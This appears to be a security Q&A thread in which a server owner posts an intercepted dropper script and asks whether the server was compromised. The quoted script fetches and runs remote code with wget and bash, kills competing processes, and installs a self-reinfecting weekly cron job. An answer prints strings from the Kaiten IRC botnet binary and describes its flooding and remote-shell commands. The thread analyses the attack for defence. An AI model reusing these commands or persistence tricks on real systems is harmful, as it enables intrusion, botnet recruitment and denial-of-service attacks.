I have intercepted an attack on my web server that I believe was unsuccessful. The attacker tried to execute this script:


cd /tmp;cd /dev/shm
wget -q -O ...x
chmod +x ...x
cd /dev/shm ; wget ; bash ru ; rm -rf ru
cd /dev/shm ; wget; bash rr; rm -rf rr
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 kernelupdate
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 perl
killall -9 sh
killall -9 sucrack
killall -9 m64 m32 minerd32 minerd64 minerd  cla qt64 qt32 clover cron sh wget
kill -9 `pidof .rnd`
kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`
kill -9 `pidof dev`
kill -9 `pidof perl`
kill -9 `pidof m32`
kill -9 `pidof m64`
kill -9 `pidof ka`
kill -9 `pidof kav`
kill -9 `pidof cla`
kill -9 `pidof sh`
kill -9 `pidof sucrack`
echo "@weekly wget -q -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron
rm -rf /tmp/cron

I can see that its fetches three other sh scripts by wget, execute them, delete them (possible for tracking purposes), kills some processes, setup a cron to be executed weekly, and then remove it(?!).

As we can see, it kills Apache and sh itself. It's weird since if Apache and sh are killed the attack would no longer work, right?

I have reason to believe that this payload was never actually executed, because:

  1. The attack was attempted using GET requests. Due to Apache mod_rewrite, all he got was a 404.
  2. The attacker was trying to exploit a PHP backend vulnerability, which doesn't apply to me.

Does all of that mean I'm still secure? I think doing a crontab -l checks if my server is compromised. The output was:

ubuntu@ip-172-31-24-52:~$ crontab -l
no crontab for ubuntu
ubuntu@ip-172-31-24-52:~$ sudo su
root@ip-172-31-24-52:/home/ubuntu# crontab -l
no crontab for root
  • 1
    I think the idea behind killing sh is that it's trying to kick you off if you're remoted into the system.
    – Riking
    Commented Mar 16, 2014 at 9:02
  • Interesting. But I still can log in, right? That's just if i'm currently remoted into the system. Commented Mar 16, 2014 at 15:42

3 Answers 3


I downloaded the first URL (http://something.example.com/xx) and ran

$ file xx
xx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.15, not stripped

So, it's an executable program meant to run on a Linux machine. I assume you are running a Linux server. Next, we want to see what the program does, but of course, you don't want to run it. A quick way is to ignore all the computer instruction code embedded in the executable, and just look at what human-readable strings it might contain. So, I ran

$ strings xx | less

[... excerpt ...]
NOTICE %s :Receiving file.
NOTICE %s :Saved as %s
NOTICE %s :Spoofs: %d.%d.%d.%d
NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d
NOTICE %s :Kaiten wa goraku
NOTICE %s :NICK <nick>
NOTICE %s :Nick cannot be larger than 9 characters.
Enabled and awaiting orders
NOTICE %s :Current status is: %s.
NOTICE %s :Already disabled.
NOTICE %s :Password too long! > 254
NOTICE %s :Disable sucessful.
NOTICE %s :ENABLE <pass>
NOTICE %s :Already enabled.
NOTICE %s :Wrong password
NOTICE %s :Password correct.
NOTICE %s :Removed all spoofs
NOTICE %s :What kind of subnet address is that? Do something like: 169.40
NOTICE %s :Unable to resolve %s
NOTICE %s :UDP <target> <port> <secs>
NOTICE %s :Packeting %s.
NOTICE %s :PAN <target> <port> <secs>
NOTICE %s :Panning %s.
NOTICE %s :TSUNAMI <target> <secs>
NOTICE %s :Tsunami heading for %s.
NOTICE %s :UNKNOWN <target> <secs>
NOTICE %s :Unknowning %s.
NOTICE %s :MOVE <server>
NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewalls
NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network drivers
NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder
NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder
NOTICE %s :NICK <nick>                                      = Changes the nick of the client
NOTICE %s :SERVER <server>                                  = Changes servers
NOTICE %s :GETSPOOFS                                        = Gets the current spoofing
NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet
NOTICE %s :DISABLE                                          = Disables all packeting from this client
NOTICE %s :ENABLE                                           = Enables all packeting from this client
NOTICE %s :KILL                                             = Kills the client
NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hd
NOTICE %s :VERSION                                          = Requests version of client
NOTICE %s :KILLALL                                          = Kills all current packeting
NOTICE %s :HELP                                             = Displays this
NOTICE %s :IRC <command>                                    = Sends this command to the server
NOTICE %s :SH <command>                                     = Executes a command
NOTICE %s :Killing pid %d.

"Enabled and awaiting orders" suggests that this is a program that makes your server act as a botnet node.

The next file it downloads, http://something.example.com/ru, is a shell script, which in turn downloads a .tar.gz file from http://example.hu/ar/64.tgz (or 32.tgz, depending on your CPU architecture), then installs and runs it. That archive contains three files:

  • A php interpreter compiled for Linux
  • Another Linux executable named pnscan
  • A shell script named run which launches pnscan

The other thing it does is create a weekly cron job what downloads and runs http://something.example.com/sh, which contains exactly the shell script you posted above. Basically, it will automatically reinfect your machine every week unless you uninstall that cron job.

Recommended action

The code looks like it was put together by script kiddies. It uses existing tools such as pnscan, tied together with some shell scripts. It's not Stuxnet-quality code.

From the information you added later (your Apache server has no PHP support, your Apache server is still running normally, and no cron job got installed), it seems likely that the code never actually ran on your server. In that case, you are probably OK! Run ps ax to check whether anything suspicious is running, and you should be fine.

  • I wonder it's meant for php since most backend is written on it? Edited the question with some other relevant things. Commented Mar 15, 2014 at 22:17
  • It sounds like you are OK after all. Commented Mar 15, 2014 at 22:59
  • But is the things I said about module rewrite right? Commented Mar 16, 2014 at 3:42
  • Sounds plausible, but I can't confirm that for you, knowing nothing about your Apache configuration. I suggest that you look over your Apache access log for hacking attempts. Commented Mar 16, 2014 at 7:18

See this blog post for full details:

Ever since the vulnerability was discovered in Apache/PHP which allowed for PHP-code to be executed using a simple HTTP POST-request, automated attacks was launched widely which lead to a large number of compromised hosts.

Those attacks have decreased during the last months, however, one of these automated attacks was particularly interesting due to the fact that the approach used can be categorized as worm-like. Let's go into the whole attack on a higher level before going into the technical part.

The actor used the exploit released by kingcope [exploit-db] with a modified payload which downloaded a few scripts and binaries which in turn started scanning a random A-block of IPv4 addresses. If a host was found to be running Apache, exploitation attempts would be launched and the whole process starts over. These attacks was first spotted around November 2013.

Based off the outlined information, it appears to be some sort of botnet working off the above mentioned exploits.


this is a simple, surprisingly uninteresting botnet agent.

Basically it picks a random address range and scans for listening HTTP servers using pnscan. It then attempts to exploit an old PHP vulnerability on the host it finds. And then from there replicates itself out to other servers.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .